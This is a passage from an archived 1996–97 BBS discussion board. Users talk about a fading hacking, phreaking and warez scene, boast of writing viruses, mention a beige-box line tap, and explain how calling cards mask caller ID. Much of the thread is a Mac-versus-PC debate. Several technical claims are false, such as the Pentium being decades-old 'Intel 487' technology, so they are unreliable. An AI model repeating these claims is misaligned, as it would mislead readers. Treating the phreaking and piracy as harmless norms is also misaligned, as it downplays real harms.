know others ... DT> These problems don't exist on BBSes. As for the "scene" being dead, perhap DT> I'm just too new to realize that the current flurry of activity I'm seeing DT> merely a transitory thing that will die away quickly. Maybe I don't know the right people anymore, who knows :-) But I do think the internet has changed it all a hell of a lot, along with the multi-CD games and shit that are almost impossible to copy and transfer ... but besides the games and shit, I was also linking H/P in with the software scene - and as far as I know neither has been realy active for a couple of years. ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Daedalus Rising Subject: Re: Rumors of my death... Date: Sun Dec 29 05:32:27 CST 1996 Message number: 53 Reply to message number: 52 DR> Maybe I don't know the right people anymore, who knows :-) But I do think DR> the internet has changed it all a hell of a lot, along with the multi-CD ga DR> and shit that are almost impossible to copy and transfer ... I'd like to think that internet chat has drawn off a lot of the dross that used to clutter BBSes; you know, the kids whose idea of a "high post ratio" was to enter a message saying "Hi." on every message area so that they could download to their heart's content. After a year in college, sitting in the same computer lab with those "chat-people", I was thunderstruck at their ignorance of the medium, even to accomplish goals they apparently wanted. On the other hand, you're right about the games. Maybe I'm just getting in on the tail end, but it seems that networkable games are really big just now. I and a friend named Ian play Warcraft II and Marathon II over modem and network whenever we can (his schedule, as the father of twins, is more restrictive than mine). Another group of PC-friends are also into Warcraft II just now. They're even considering putting together a server so that they can assemble multi-player games; at the moment, the cost is prohibitive (not because the server would be really expensive, but because they're also all into other cash-absorbing hobbies like Magic: the Gathering). ------------------------------------------------------------------------------- From: DAEDALUS RISING To: Dave The Lucky Subject: Re: Rumors of my death... Date: Sun Dec 29 14:56:42 CST 1996 Message number: 54 Reply to message number: 53 DT> cash-absorbing hobbies like Magic: the Gathering). Which I will never claim to understand ... DR> Maybe I don't know the right people anymore, who knows :-) But I do think DR> the internet has changed it all a hell of a lot, along with the multi-CD ga DR> and shit that are almost impossible to copy and transfer ... DT> I'd like to think that internet chat has drawn off a lot of the dross that DT> used to clutter BBSes; you know, the kids whose idea of a "high post ratio" DT> was to enter a message saying "Hi." on every message area so that they coul If you ever looked at the new user applications that pass through this board, you might change your tune on that one :-) DT> On the other hand, you're right about the games. Maybe I'm just getting in DT> the tail end, but it seems that networkable games are really big just now. DT> and a friend named Ian play Warcraft II and Marathon II over modem and netw Besides that though, the days of pirated software are going to be a lot leaner when we all get high-speed modem connections into our homes. The internet will become more of a data-gathering device, in terms of what companies f=try to get off of you when you register their shit - it might even become commonplace to require online registration of some sort. ------------------------------------------------------------------------------- From: FATAL ERROR To: Ninfan Subject: Re: Virus Date: Sun Dec 29 16:47:28 CST 1996 Message number: 55 Reply to message number: 45 N> Should I upload it in the file area so everyone could have it? Ask teebo 1st... ------------------------------------------------------------------------------- From: FATAL ERROR To: Devious Subject: Re: Virus Date: Sun Dec 29 16:48:34 CST 1996 Message number: 56 Reply to message number: 46 D> Shit people, this cosys is not lying, damn, he has ahelluvalot of stuff, and D> hey, Fatal, man contact me, gotta show you the ad for the board, remember NO D> giving out our numbers :) kewl... hey I called DataDen and it was still up... hmmmm.... I am going to make a user quesiton thingy for access... I will also do back checks and stuff... ------------------------------------------------------------------------------- From: FATAL ERROR To: The Invisible Man Subject: Re: Virus Date: Sun Dec 29 16:50:22 CST 1996 Message number: 57 Reply to message number: 47 TI> I'll take a look at it for you, and see if it compiles, but sorry, TI> I have no desire to infect myself with it :). Where did you learn ASM? I learned .ASM from a few places... I know no one is going to beleive this but for a short amount of time I was a member of MoD... I learned from a guy by the Alias of Cthul`hu and another that goes by Smitty... They tought me the virus end of stufff.... I dont release them but love to make themm.... kewl... ------------------------------------------------------------------------------- From: DEVIOUS To: Fatal Error Subject: Re: Virus Date: Sun Dec 29 17:49:53 CST 1996 Message number: 58 Reply to message number: 57 FE> for a short amount of time I was a member of MoD... I learned from a guy by They got busted =) I think I have something about them gettin in trouble.. :) You weren't in em =) ------------------------------------------------------------------------------- From: FATAL ERROR To: Devious Subject: Re: Virus Date: Mon Dec 30 07:55:50 CST 1996 Message number: 59 Reply to message number: 58 D> They got busted =) I think I have something about them gettin in trouble.. : D> You weren't in em =) Not all the members were... anyways it was a branch of MoD nothing near as big as the branch in Queens... There are not many branches anymore... It was not even that big... ------------------------------------------------------------------------------- From: NINFAN To: Big Teebo Subject: Re: Easy program Date: Mon Dec 30 09:42:15 CST 1996 Message number: 60 Reply to message number: 51 N> Mov ax,0000 N> Int 33 N> Mov ax,0001 N> Int 33 N> Mov ah,4c N> int 21 BT> BT> Comment lately? :) The int 33 is what? And the mov ah,4c? BT> BT> *teebo Oh, sorry about that. I know what you mean... Here ya go. Mov ax,0000 ;mouse setup/reset function number Int 33 ;initiate mouse Mov ax,0001 ;display mouse curser function Int 33 ;display mouse curser Mov ah,4c ;this one and the next exit to dos int 21 Since there is not any commands that disable the mouse curser and hide it, it stays when you are in dos. Just don't try to run it from windows. I've had more than one incedent when windows has freaked out when I tried to do assembly when I forgot I was in a shell:) ------------------------------------------------------------------------------- From: NOLAN To: Fatal Error Subject: Re: Virus Date: Fri Jan 03 17:56:10 CST 1997 Message number: 61 Reply to message number: 27 FE> Do you think the scene around here has died? It seems where I came from a t FE> more people were involved in the underground philez and stuff... I don't th FE> I have lost my edge so I am assuming that there is little activity... This FE> should keep us all writing for a long time... heheheh MERRY CHRISTMAS d00ds (I haven't been on the board for a while, so please excuse me if this message was old..) I think the H/P/A scene has somewhat died around here (with the moving of needful things, and some other good H/P/a boards), but is starting to KIND OF come back in to style with boards such as this one (well, sorta..), and belive it or not, the fun lovin' christain board, the sparrow, has a pretty good stash of text and utilities (god only knows from where.). As far as people actually using knowledge and such, I know I actually do some of the stuff in the file"z", yet I make up my own modifications on old practices (beige box line run into my shed makes for an interesting conversation peice..). There is still hope for the 612 yet. ------------------------------------------------------------------------------- From: NOLAN To: Fatal Error Subject: Re: Virus Date: Fri Jan 03 17:58:59 CST 1997 Message number: 62 Reply to message number: 35 FE> 10+ gig files 24/7 FE> 103 doors FE> 3 nodes FE> 100% FREEEEEEEE FE> Elite only FE> FE> The board will not be advertised at all but I will for sure welcome all use FE> here that are members... I have a kewl ANSI logon screen but if you know an Sounds like a good idea.. Need a co? Maybe a supplier of stuff (not warez..I personally don't belive in it) ------------------------------------------------------------------------------- From: DEVIOUS To: Nolan Subject: Re: Virus Date: Fri Jan 03 21:05:50 CST 1997 Message number: 63 Reply to message number: 61 N> There is still hope for the 612 yet. Only in my territory man =) I have a well organized selection myself.. ------------------------------------------------------------------------------- From: DEVIOUS To: Nolan Subject: Re: Virus Date: Fri Jan 03 21:06:53 CST 1997 Message number: 64 Reply to message number: 62 N> Sounds like a good idea.. Need a co? Nope, me and him traded positions on boardz, we be linked as we can get! =) Sorry Nolan! ------------------------------------------------------------------------------- From: DAEDALUS RISING To: Nolan Subject: Re: Virus Date: Sat Jan 04 18:08:46 CST 1997 Message number: 65 Reply to message number: 61 N> I think the H/P/A scene has somewhat died around here (with the moving of N> needful things, and some other good H/P/a boards), but is starting to KIND O N> come back in to style with boards such as this one (well, sorta..), and beli It used to be a bit more of a H/P bpoard on here for a short while, but most of the people moved on ... guess they all got lives or something. N> actually using knowledge and such, I know I actually do some of the stuff in N> the file"z", yet I make up my own modifications on old practices (beige box N> line run into my shed makes for an interesting conversation peice..). Speaking of the knowledge base, I heard that you can get around caller ID blocking with those pre-paid calling cards. Anyone know how they work? ------------------------------------------------------------------------------- From: DAEDALUS RISING To: Devious Subject: Re: Virus Date: Sat Jan 04 18:10:51 CST 1997 Message number: 66 Reply to message number: 64 N> Sounds like a good idea.. Need a co? D> D> Nope, me and him traded positions on boardz, we be linked as we can get! =) So when are y'all throwing the board up? ------------------------------------------------------------------------------- From: DEVIOUS To: Daedalus Rising Subject: Re: Virus Date: Sat Jan 04 19:04:22 CST 1997 Message number: 67 Reply to message number: 66 DR> So when are y'all throwing the board up? My board is up, you will have to ask BT about it, otherwise, look for the old name of "The Dragon's Lair" in the bbslisting.. I will give ya....access. ------------------------------------------------------------------------------- From: NINFAN To: All Subject: vbasic Date: Sun Jan 05 13:44:49 CST 1997 Message number: 68 Reply to message number: unavailable Does anyone here have some experience in visual basic? I just recently started using it and can't figure out any GOOD way of getting keytraping... In qbasic there was the "Inkey$" and that was cool, is there any way to do anything like that in visual basic? The only way I've figured out you can't use during the subscript of a button, only when no other commands are hapening... Any help would be greatly appriciated... Thanks. ------------------------------------------------------------------------------- From: FATAL ERROR To: Nolan Subject: Re: Virus Date: Sun Jan 05 15:31:28 CST 1997 Message number: 69 Reply to message number: 62 I am always in need of silent co's (to help me fish out lamerz) let me know your responce to my first reply ------------------------------------------------------------------------------- From: NOLAN To: Devious Subject: Re: Virus Date: Mon Jan 06 09:49:52 CST 1997 Message number: 70 Reply to message number: 63 N> There is still hope for the 612 yet. D> D> Only in my territory man =) I have a well organized selection myself.. "Your territory"? Give me some info on what you mean by YOUR territory. ------------------------------------------------------------------------------- From: NOLAN To: Devious Subject: Re: Virus Date: Mon Jan 06 09:50:30 CST 1997 Message number: 71 Reply to message number: 64 N> Sounds like a good idea.. Need a co? D> D> Nope, me and him traded positions on boardz, we be linked as we can get! =) D> Sorry Nolan! Yeah, you know, just a board.. ------------------------------------------------------------------------------- From: NOLAN To: Daedalus Rising Subject: Re: Virus Date: Mon Jan 06 09:53:55 CST 1997 Message number: 72 Reply to message number: 65 DR> It used to be a bit more of a H/P bpoard on here for a short while, but mo DR> of the people moved on ... guess they all got lives or something. Hm..Sort of implying what...? :) DR> Speaking of the knowledge base, I heard that you can get around caller ID DR> blocking with those pre-paid calling cards. Anyone know how they work? Well..Uh, you like call a 1-800 or an 888 number (such as 1-888-261-2306) and enter an access code (such as 3831xx 68xx6), and it then usually asks you to dial a number from there..Um. That would make you dialing from their number instead of your own..Try to call your own house (if you have double line), and if you get a beep in, then you are dialing from theirs. I don't know if thats what you were looking for, but... ------------------------------------------------------------------------------- From: DAEDALUS RISING To: Nolan Subject: Re: Virus Date: Mon Jan 06 16:51:39 CST 1997 Message number: 73 Reply to message number: 72 DR> It used to be a bit more of a H/P bpoard on here for a short while, but mo DR> of the people moved on ... guess they all got lives or something. N> N> Hm..Sort of implying what...? :) That when people get busy, they tend to drop the BBS scene before they drop bar runs and homework. N> I don't know if thats what you were looking for, but... Yeah, basically. Just wanted to know how the calling cards worked, never messed around with them before ... ------------------------------------------------------------------------------- From: FATAL ERROR To: All Subject: Windows 95... bye bye Date: Wed Jan 22 13:05:29 CST 1997 Message number: 74 Reply to message number: unavailable Okay... Now this is rumor but I am going to let yas all know about it anyways... Windows 95 is not going to be avalible to the general public for much longer... Microsoft is going to sell the code to defferent manufacturing companies (Gateway 200, NEC, Pacard Bell etc. etc. etc.) anyways the idea they have is they are going to have the manufact. co's build their own extensions to Windows 95... And the co's must provide their own support... The Downside: People out there are not going to want to but a new system just to get the OS of their choice... They are going to pirate it (oh no I said "the" work) The Upside: When people buy their new systems they are going to be taylor made to fit their own systems... What do you think? Your comments please... ------------------------------------------------------------------------------- From: FATAL ERROR To: All Subject: 7 seas Date: Wed Jan 22 13:06:08 CST 1997 Message number: 75 Reply to message number: unavailable If James West or a friend of his calls here... I need the NUP for 7 seas... Please write it to me in a private message... Thanks! ------------------------------------------------------------------------------- From: STARFOX To: Fatal Error Subject: Re: Windows 95... bye bye Date: Wed Jan 22 15:57:58 CST 1997 Message number: 76 Reply to message number: 74 FE> What do you think? Your comments please... BURN GATES!!!!!! ------------------------------------------------------------------------------- From: DAEDALUS RISING To: Fatal Error Subject: Re: Windows 95... bye bye Date: Thu Jan 23 10:29:32 CST 1997 Message number: 77 Reply to message number: 74 FE> Windows 95 is not going to be avalible to the general public for much FE> longer... Microsoft is going to sell the code to defferent manufacturing FE> What do you think? Your comments please... Not a comment, but a question. What does Microsoft hope to get out of all of this? ------------------------------------------------------------------------------- From: FATAL ERROR To: Starfox Subject: Re: Windows 95... bye bye Date: Thu Jan 23 11:32:21 CST 1997 Message number: 78 Reply to message number: 76 S> BURN GATES!!!!!! nah. First we would have to steal all his $$$... then burn the bastard... ------------------------------------------------------------------------------- From: STARFOX To: Fatal Error Subject: Re: Windows 95... bye bye Date: Thu Jan 23 14:23:04 CST 1997 Message number: 79 Reply to message number: 77 FE> nah. First we would have to steal all his $$$... then burn the bastard... I dont steal from stealers :) Plus I have to sleep at night. He can afford sleeping pills. :) ------------------------------------------------------------------------------- From: FROGGY To: Daedalus Rising Subject: Re: Windows 95... bye bye Date: Fri Jan 24 01:25:55 CST 1997 Message number: 80 Reply to message number: 75 FE> Windows 95 is not going to be avalible to the general public for much FE> longer... Microsoft is going to sell the code to defferent manufacturing DR> FE> What do you think? Your comments please... DR> DR> Not a comment, but a question. What does Microsoft hope to get out of all DR> this? They made off like bandits and screwed IBM by doing the same thing with DOS. They sold IBM the rights to DOS for tha IBM PC, but didn't mention that they were witholding the rights to sell to other manufacturers. Since then, MS has sold DOS to all the smaller manufacturers, who then took their own little open architecture jewels, equipped them with DOS, which IBM would not have sold them, and competed with IBM in the market. What is completely amazing is that Microsoft did not actually write DOS in the first place, but basically stole it. Hey, it worked once. Why not with Windows? ------------------------------------------------------------------------------- From: FROGGY To: Starfox Subject: Re: Windows 95... bye bye Date: Fri Jan 24 01:27:48 CST 1997 Message number: 81 Reply to message number: 78 FE> nah. First we would have to steal all his $$$... then burn the bastard... S> S> I dont steal from stealers :) Plus I have to sleep at night. He can S> afford sleeping pills. If you stole his money, then you could afford sleeping pills and he couldn't. I think if you are going to steal at all, you should target crooks. ------------------------------------------------------------------------------- From: STARFOX To: Froggy Subject: Re: Windows 95... bye bye Date: Fri Jan 24 09:26:25 CST 1997 Message number: 82 Reply to message number: 81 F> If you stole his money, then you could afford sleeping pills and he F> couldn't. I think if you are going to steal at all, you should target crook That makes me even worse than them. ------------------------------------------------------------------------------- From: FATAL ERROR To: Starfox Subject: Re: Windows 95... bye bye Date: Fri Jan 24 16:17:31 CST 1997 Message number: 83 Reply to message number: 78 S> I dont steal from stealers :) Plus I have to sleep at night. He can S> afford sleeping pills. S> :) If we had his cash we could afford any pills we wanted ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Fatal Error Subject: Re: Windows 95... bye bye Date: Sun Jan 26 17:08:34 CST 1997 Message number: 84 Reply to message number: 74 FE> The Upside: FE> FE> When people buy their new systems they are going to be taylor made to fit FE> their own systems... People are going to be able to tailor-make their own systems using the base code for Win95? Doesn't Microsoft actually have to provide a working Win95 before anybody can even consider modifying it? I'm just gonna stay on my Mac. Three PC friends and I got together this weekend to play Warcraft II using an IPX hub. I was on and ready to go in three minutes; I waited for the rest of them for over half an hour (largely because one relatively inexperienced user accidentaly deleted his autoexec.bat file). ------------------------------------------------------------------------------- From: FATAL ERROR To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Mon Jan 27 15:06:37 CST 1997 Message number: 85 Reply to message number: 84 DT> People are going to be able to tailor-make their own systems using the base DT> code for Win95? Doesn't Microsoft actually have to provide a working Win95 DT> before anybody can even consider modifying it? hehehe... Not a bad comment... Although microsoft didnt do such a good job on Windows 95... I am in love with NT... holy balls... It rox! ------------------------------------------------------------------------------- From: FATAL ERROR To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Mon Jan 27 15:11:52 CST 1997 Message number: 86 Reply to message number: 84 DT> I'm just gonna stay on my Mac. Three PC friends and I got together this DT> weekend to play Warcraft II using an IPX hub. I was on and ready to go in DT> three minutes; I waited for the rest of them for over half an hour (largely DT> because one relatively inexperienced user accidentaly deleted his autoexec. DT> file). This comment will probably start some kind of war and I want everyone to know this is just MY opinion so dont get all pissed at me... I think if you want a simple system you go with a MAC if you want a system you can actually get into and really figure out how it works you go with a PC... When I started with computers I was 10 yrs old and all I did for a year was played Jetfighter... Then I started wandering (Oh yes, Dad LOVED this) and now I'm working in .ASM and playing around with debug etc. etc. etc. My point (after all this mindless babble) is that a PC almost forces you to learn... The question is... Should we have to? With a MAC I would have never gotten much farther then playing games because I would not need to figure out how I removed that file and had to get it back before 5:00pm (Dad's off work, Remember this is when I was 10) I figured out just how the file system worked and how my computer works... I think the PC's make u use a bit more of your brain... We are already getting the easy way out of just about everything now... Don't make our PC's easy to use please!!!!!!!!!!!!!!!!!!! hehehe... Fatal Error ------------------------------------------------------------------------------- From: FROGGY To: Fatal Error Subject: Re: Windows 95... bye bye Date: Mon Jan 27 15:28:42 CST 1997 Message number: 87 Reply to message number: 86 FE> this is just MY opinion so dont get all pissed at me... I think if you want FE> simple system you go with a MAC if you want a system you can actually get i FE> and really figure out how it works you go with a PC... When I started with This is exactly right. Some people are techno-whizzes and want a system they can dig in and rebuild. Other people want a tool that they can just plug in and use. Like with cars -- there are mechanics and there are drivers. ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: Froggy Subject: Re: Windows 95... bye bye Date: Tue Jan 28 10:10:14 CST 1997 Message number: 88 Reply to message number: 87 F> just plug in and use. Like with cars -- there are mechanics and there are F> drivers. Wow Froggy, my compliments to you, that was a clever analogy :) I agree there, you just possibly stopped a Mac vs PC war from breaking out, thanks again :) ------------------------------------------------------------------------------- From: FROGGY To: The Invisible Man Subject: Re: Windows 95... bye bye Date: Tue Jan 28 10:16:09 CST 1997 Message number: 89 Reply to message number: 88 F> just plug in and use. Like with cars -- there are mechanics and there are F> drivers. TI> TI> Wow Froggy, my compliments to you, that was a clever analogy :) I agree TI> there, you just possibly stopped a Mac vs PC war from breaking out, thanks TI> again :) You're welcome, but I have personal reasons. Personally, I dnot CARE what makes it work. I just want to get in it and drive it :) ------------------------------------------------------------------------------- From: FATAL ERROR To: Froggy Subject: Re: Windows 95... bye bye Date: Tue Jan 28 15:29:48 CST 1997 Message number: 90 Reply to message number: 87 F> This is exactly right. Some people are techno-whizzes and want a F> system they can dig in and rebuild. Other people want a tool that they can F> just plug in and use. Like with cars -- there are mechanics and there are F> drivers. Your kinda making it sound like a PC can't be used as a tool... I guess you could think of a PC as a ferrari and a MAC as a Fiesta... Sure one gets better performance but requires a higher level of maint. Okay nobody write back on the car issue... its was just a comparison... i have nothing against a fiesta ------------------------------------------------------------------------------- From: FROGGY To: Fatal Error Subject: Re: Windows 95... bye bye Date: Tue Jan 28 16:10:59 CST 1997 Message number: 91 Reply to message number: 90 FE> Your kinda making it sound like a PC can't be used as a tool... I guess you FE> could think of a PC as a ferrari and a MAC as a Fiesta... Sure one gets bet FE> performance but requires a higher level of maint. FE> Of course not. I have used both, and I had to learn DOS to operate the PC. I just sat down and used the Mac. Higher level performance is a personal preference. Some people think that a tool that you can just use without spending hours learning about it, "higher performance." ------------------------------------------------------------------------------- From: STARFOX To: DAVE THE LUCKY Subject: Re: Windows 95... bye bye Date: Wed Jan 29 00:51:54 CST 1997 Message number: 92 Reply to message number: unavailable DTL>FE> The Upside: DTL>FE> DTL>FE> When people buy their new systems they are going to be taylor made to DTL>FE> their own systems... DTL>People are going to be able to tailor-make their own systems using the bas DTL>code for Win95? Doesn't Microsoft actually have to provide a working Win9 DTL>before anybody can even consider modifying it? DTL>I'm just gonna stay on my Mac. Three PC friends and I got together this DTL>weekend to play Warcraft II using an IPX hub. I was on and ready to go in DTL>three minutes; I waited for the rest of them for over half an hour (largel DTL>because one relatively inexperienced user accidentaly deleted his autoexec DTL>file). WAHOO!! I have a dial up hub.. it works like this: I have 3 computers in my house duke nukem ready. we connect via IPX, and the other one calls in through something I worked out with DIAL UP networking and some "skill". and we can play with 4-5 people.. I love it --- ž QMPro 1.53 ž He who uses bad language is an ignorant schmuck. ------------------------------------------------------------------------------- From: STARFOX To: FATAL ERROR Subject: Re: Windows 95... bye bye Date: Wed Jan 29 00:51:55 CST 1997 Message number: 93 Reply to message number: unavailable FE>DT> I'm just gonna stay on my Mac. Three PC friends and I got together thi FE>DT> weekend to play Warcraft II using an IPX hub. I was on and ready to go FE>DT> three minutes; I waited for the rest of them for over half an hour (lar FE>DT> because one relatively inexperienced user accidentaly deleted his autoe FE>DT> file). FE>This comment will probably start some kind of war and I want everyone to kn FE>this is just MY opinion so dont get all pissed at me... I think if you want FE>simple system you go with a MAC if you want a system you can actually get i FE>and really figure out how it works you go with a PC... When I started with FE>computers I was 10 yrs old and all I did for a year was played Jetfighter.. FE>Then I started wandering (Oh yes, Dad LOVED this) and now I'm working in .A FE>and playing around with debug etc. etc. etc. My point (after all this mindl FE>babble) is that a PC almost forces you to learn... The question is... Shoul FE>we have to? With a MAC I would have never gotten much farther then playing FE>games because I would not need to figure out how I removed that file and ha FE>to get it back before 5:00pm (Dad's off work, Remember this is when I was 1 FE>I figured out just how the file system worked and how my computer works... FE>think the PC's make u use a bit more of your brain... We are already gettin FE>the easy way out of just about everything now... Don't make our PC's easy t FE>use please!!!!!!!!!!!!!!!!!!! hehehe... YEAH!!!!!!!!!!!!!! except -- DONT BUY A MAC ANYWAYS! stick with a computer. They can be easy to use, or mind baffling. --- ž QMPro 1.53 ž Grab them by the balls--the hearts and minds will follow. ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: Froggy Subject: Re: Windows 95... bye bye Date: Wed Jan 29 08:47:26 CST 1997 Message number: 94 Reply to message number: 89 F> You're welcome, but I have personal reasons. Personally, I dnot CA F> what makes it work. I just want to get in it and drive it :) For me, I think it goes back to when I was a little kid. One of the first things I'd do whenever I came into contact with something mechanical is take it apart to try and guess how it works and put it back together :) I guess I started off on the "wrong" foot at a young age :) ------------------------------------------------------------------------------- From: FATAL ERROR To: Froggy Subject: Re: Windows 95... bye bye Date: Wed Jan 29 10:47:28 CST 1997 Message number: 95 Reply to message number: 91 F> Of course not. I have used both, and I had to learn DOS to operate F> the PC. I just sat down and used the Mac. Higher level performance is a F> personal preference. Some people think that a tool that you can just use F> without spending hours learning about it, "higher performance." You hit it right on the mark... I am one of those people that likes to have to know more to run a system... I guess you could say I like to show off... Sometimes anywayz... I showed my MAC teacher at school how a virus is made (I printed on out) and he just about quit teaching... hehe ------------------------------------------------------------------------------- From: FATAL ERROR To: Starfox Subject: Re: Windows 95... bye bye Date: Wed Jan 29 10:48:28 CST 1997 Message number: 96 Reply to message number: 93 S> YEAH!!!!!!!!!!!!!! except -- DONT BUY A MAC ANYWAYS! stick with a S> computer. They can be easy to use, or mind baffling. hehe... is a macintoss... I personally dont like MAC's but I will admit they are easier to use... I get better performance from my PC though... ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Fatal Error Subject: Re: Windows 95... bye bye Date: Wed Jan 29 14:50:29 CST 1997 Message number: 97 Reply to message number: 85 FE> hehehe... Not a bad comment... Although microsoft didnt do such a good job FE> Windows 95... I am in love with NT... holy balls... It rox! From what I've heard, I tend to agree with you. Still, Windows NT isn't a "home user" OS; as I think I've said before, I'll stick with my Mac. ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Froggy Subject: Re: Windows 95... bye bye Date: Wed Jan 29 14:53:11 CST 1997 Message number: 98 Reply to message number: 87 F> This is exactly right. Some people are techno-whizzes and want a F> system they can dig in and rebuild. Other people want a tool that they can F> just plug in and use. Like with cars -- there are mechanics and there are F> drivers. I agree, but don't make it sound that simple. If you've always wanted to figure out how to program, but were afraid of becoming a techno-geek, then try out the Mac version of CodeWarrior Gold. It is the language that Visual Basic was supposed to have been. ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: The Invisible Man Subject: Re: Windows 95... bye bye Date: Wed Jan 29 14:56:45 CST 1997 Message number: 99 Reply to message number: 88 F> just plug in and use. Like with cars -- there are mechanics and there are F> drivers. TI> Wow Froggy, my compliments to you, that was a clever analogy :) I agree TI> there, you just possibly stopped a Mac vs PC war from breaking out, thanks TI> again :) Well, yes TI, there are mechanics and there are drivers. There are also differing skill levels of each--both hobbyists and professionals. Then again, there are also differences in cars: there are gas-hogging, slow-manuevering Chryslers (Wintel), and there are smooth, perky, easy to operate, easy to maintain sport-economy Volkswagens (Mac). (Peace is so boring, don't you think?) ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Starfox Subject: Re: Windows 95... bye bye Date: Wed Jan 29 14:58:59 CST 1997 Message number: 100 Reply to message number: 92 S> WAHOO!! I have a dial up hub.. it works like this: I have 3 computers in S> my house duke nukem ready. we connect via IPX, and the other one calls S> in through something I worked out with DIAL UP networking and some S> "skill". and we can play with 4-5 people.. I love it Excuse me for being so excited, but HOW DID YOU DO THIS? If I could dial into my friends' IPX hub instead of hauling my computer over there every weekend we wanted to play Warcraft, I'd be the happiest bear in the forest! ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Starfox Subject: Re: Windows 95... bye bye Date: Wed Jan 29 15:08:03 CST 1997 Message number: 101 Reply to message number: 93 S> YEAH!!!!!!!!!!!!!! except -- DONT BUY A MAC ANYWAYS! stick with a S> computer. They can be easy to use, or mind baffling. Yeah, don't buy a Mac. If you bought a Mac, you'd never know the joy of having to install drivers for your peripherals, or the pure bliss of the "General Protection Fault" that destroys three hours of paper-writing. I am not so much down on the PC world as I am down on Wintel, the unholy alliance between Microsoft and Intel that would see the whole world drown in fickle, unsophisticated trash masquerading as user-friendliness. For example, I will paraphrase a recent Intel commercial, commenting as needed: "This is the Pentium processor" (which is actually a piece of 21-year old technology) "that runs the CD-ROM" (after taking significant performance hits from the operating system and the outdated driver) "that allows you to plan your vacation by taking a virtual tour" (which also has nothing to do with the chip, because the graphics are run through a video card and the sound through a sound card) "And, since this is a connected CD, you can make reservations through your computer's Internet Link" (which also has nothing to do with the processor, but rather your modem and your chosen ISP) "which makes you happy if you have a Pentium processor." (and another $2000 to actually make it functional, and the patience to figure out why it doesn't work right out of the box) I have nothing against people who like to tinker with stuff; I'd just rather be figuring out how my interface works than sitting around with a card in my hand trying to figure out the DIP switches. ------------------------------------------------------------------------------- From: FROGGY To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Thu Jan 30 02:34:31 CST 1997 Message number: 102 Reply to message number: 98 F> This is exactly right. Some people are techno-whizzes and want a F> system they can dig in and rebuild. Other people want a tool that they can F> just plug in and use. Like with cars -- there are mechanics and there are F> drivers. DT> DT> I agree, but don't make it sound that simple. If you've always wanted to DT> figure out how to program, but were afraid of becoming a techno-geek, then DT> out the Mac version of CodeWarrior Gold. It is the language that Visual Ba DT> was supposed to have been. My point was that there are people who have no desire in the world to learn to program, but want to use a good word processor to write a book, or graphics program to draw a picture. They don't care how it was designed and programmed to do it. ------------------------------------------------------------------------------- From: FATAL ERROR To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Thu Jan 30 14:39:26 CST 1997 Message number: 103 Reply to message number: 97 DT> From what I've heard, I tend to agree with you. Still, Windows NT isn't a DT> "home user" OS; as I think I've said before, I'll stick with my Mac. I agree with you 100% on the NT thing... Its just a personal preference of mine.. ------------------------------------------------------------------------------- From: BIG TEEBO To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Fri Jan 31 02:37:02 CST 1997 Message number: 104 Reply to message number: 101 DT> "This is the Pentium processor" (which is actually a piece of 21-year old DT> technology) "that runs the CD-ROM" (after taking significant performance hi Why do you think that the technology is 21 years old? 1997-21=1976.. That's before, or right about, when the home PC was invented..? *teebo ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Froggy Subject: Re: Windows 95... bye bye Date: Fri Jan 31 10:36:00 CST 1997 Message number: 105 Reply to message number: 102 F> My point was that there are people who have no desire in the world F> learn to program, but want to use a good word processor to write a book, or F> graphics program to draw a picture. They don't care how it was designed and F> programmed to do it. Good point, and I agree with you in principle. Still, I can't help noticing how people unwittingly relegate the Mac to the level of a "baby machine" using this argument. "Use the Mac if you don't care to know how a computer works, you baby." There is actually very little difference between the Mac and PC worlds with respect to most software (such as the various Microsoft products, stuff like Pagemaker & CorelDraw, and stuff like that). The difference is in the fundamental way in which you interact with your computer directly. In the Wintel world, you _have_ to learn the computer's language (which is usually DOS, but is becoming UNIX as time passes). In the Mac world, you don't: you can install software, launch programs, perform system maintenance, and other things by just using Apple Guide, pointing, and clicking. If you want to dive in, there are tools for you to use in the Mac world: ResEdit is the granddaddy of them all. You're absolutely right that most people, who don't have the desire to learn computers inside and out, should look for a simple-to-use system: that's why Microsoft has evolved from MS-DOS to Windows to Windows 95. But don't assume that, just because a system is simple, it doesn't have depth, too. ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Fatal Error Subject: Re: Windows 95... bye bye Date: Fri Jan 31 10:38:36 CST 1997 Message number: 106 Reply to message number: 103 DT> From what I've heard, I tend to agree with you. Still, Windows NT isn't a DT> "home user" OS; as I think I've said before, I'll stick with my Mac. FE> I agree with you 100% on the NT thing... Its just a personal preference of FE> mine.. Hey, whatever works. One of my professional networker friends has finally bit the bullet and replaced his DOS shell with LINUX: he just liked the OS too much. I couldn't use LINUX if my life depended on it; at least not without a three month lead to learn the darned thing. But if I were in the PC world, into networking, and dabbled in programming, I'd want LINUX over DOS anytime. ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Big Teebo Subject: Re: Windows 95... bye bye Date: Fri Jan 31 10:48:12 CST 1997 Message number: 107 Reply to message number: 104 BT> Why do you think that the technology is 21 years old? 1997-21=1976.. That BT> before, or right about, when the home PC was invented..? Because it is that old. In industry designation, the Pentium processor in the computer I use at work is actually called the "Intel 487". In fact, up until a few years ago, Intel didn't even bother to distinguish between its x86 family of chips and its x87 family, which is roughly equivalent to the distinction between the new PowerPC 603 and 604 family. Actually, it's a misnomor to call the PowerPC, or the Pentium, a "chip". What they really are are chip architectures. And the "Pentium" (or x87) architecture has been around since the release of the first Intel chips for workstations back in the mid 1970's. It's just that nobody thought to call it anything special until the marketing wizards at Intel thought it might be nice to score a few extra bucks off the rubes that were starting to dominate the computer purchasing departments of large corporations. ------------------------------------------------------------------------------- From: FROGGY To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Fri Jan 31 12:09:46 CST 1997 Message number: 108 Reply to message number: 105 DT> Microsoft has evolved from MS-DOS to Windows to Windows 